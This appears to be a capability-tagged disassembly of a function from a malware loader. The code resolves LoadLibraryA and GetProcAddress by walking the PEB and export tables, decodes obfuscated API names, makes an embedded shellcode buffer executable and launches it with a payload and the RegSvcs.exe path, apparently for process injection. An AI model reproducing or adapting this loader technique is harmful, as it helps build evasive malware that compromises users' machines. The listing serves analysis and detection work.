Function at 0x402900
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e52b
mov eax, dword fs:[0]
push eax
sub esp, 0xf4
mov eax, dword [0x42c014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x60], ecx
push 0x15
push 0x4476e8
push 0x1ac00
push 0x42cae8
call fcn.004026f0
add esp, 0x10
push 0x15
push 0x4476e8
push 0x77e
push 0x447700
call fcn.004026f0
add esp, 0x10
xor ebx, ebx
mov edi, dword fs:[ebx + 0x30]
mov edi, dword [edi + 0xc]
mov eax, dword [edi + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
push ebx
mov ebx, 0x64616f4a
add ebx, 2
cmp dword [esi], ebx
pop ebx
jne 0x402988
push ebx
mov ebx, 0x41797260
add ebx, 1
cmp dword [esi + 8], ebx
pop ebx
jne 0x402988
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
sub ebp, 1
mov edi, dword [edi + ebp*4]
add edi, eax
pop ebp
mov dword [0x449040], edi
xor ebx, ebx
mov edi, dword fs:[ebx + 0x30]
mov edi, dword [edi + 0xc]
mov eax, dword [edi + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x50746547
jne 0x4029ed
push ebx
mov ebx, 0x73736571
add ebx, 1
cmp dword [esi + 0xa], ebx
pop ebx
jne 0x4029ed
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
sub ebp, 1
mov edi, dword [edi + ebp*4]
add edi, eax
pop ebp
mov dword [0x44903c], edi
mov dword [ebp - 0x94], 5
mov dword [ebp - 0x90], 8
mov dword [ebp - 0x8c], 4
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 7
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x78], 8
mov dword [ebp - 0x74], 9
mov dword [ebp - 0x70], 5
mov dword [ebp - 0x6c], 7
mov dword [ebp - 0x68], 5
push 0
sub esp, 0xc
mov esi, esp
mov dword [ebp - 0xd4], esp
lea ecx, [ebp - 0x59]
call fcn.00403070
push eax
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0xf8]
call fcn.00401530
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
mov ecx, esi
call fcn.00403010
mov dword [ebp - 0xd8], eax
mov dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xdc], esp
push str.Pmvolm::7isq
call fcn.00403340
lea ecx, [ebp - 0x4c]
push ecx
mov dword [ebp - 4], 0xffffffff
call fcn.00402740
add esp, 0x2c
mov dword [ebp - 0xe0], eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.00403140
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [0x449040]
call eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0xcc], 2
mov dword [ebp - 0xc8], 3
mov dword [ebp - 0xc4], 4
mov dword [ebp - 0xc0], 5
mov dword [ebp - 0xbc], 6
mov dword [ebp - 0xb8], 7
mov dword [ebp - 0xb4], 8
mov dword [ebp - 0xb0], 9
mov dword [ebp - 0xac], 5
mov dword [ebp - 0xa8], 7
mov dword [ebp - 0xa4], 5
mov dword [ebp - 0xa0], 4
mov dword [ebp - 0x9c], 1
push 0
sub esp, 0xc
mov esi, esp
mov dword [ebp - 0xe4], esp
lea ecx, [ebp - 0x5a]
call fcn.00403070
push eax
lea edx, [ebp - 0x98]
push edx
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00401530
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
mov ecx, esi
call fcn.00403010
mov dword [ebp - 0xe8], eax
mov byte [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xec], esp
push str.WkuxzgsXtjgu
call fcn.00403340
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 4], 1
call fcn.00402740
add esp, 0x2c
mov dword [ebp - 0xf0], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x34]
call fcn.00403140
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0x77e
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [0x44903c]
call eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x1c]
push eax
mov eax, 0x447700
push eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, ecx
mov eax, 0x42cae8
xor esi, esi
test esi, esi
push eax
mov esi, str.C:WindowsMicrosoft.NETFramework_v4.0.30319RegSvcs.exe
mov eax, esi
push eax
pop esi
pop eax
push eax
push 0
mov edx, 0x447700
mov eax, edx
add eax, 0x180
add eax, 1
push esi
call eax
add esp, 0xc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x34]
call fcn.004032d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.004032d0
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004075b3
mov esp, ebp
pop ebp
ret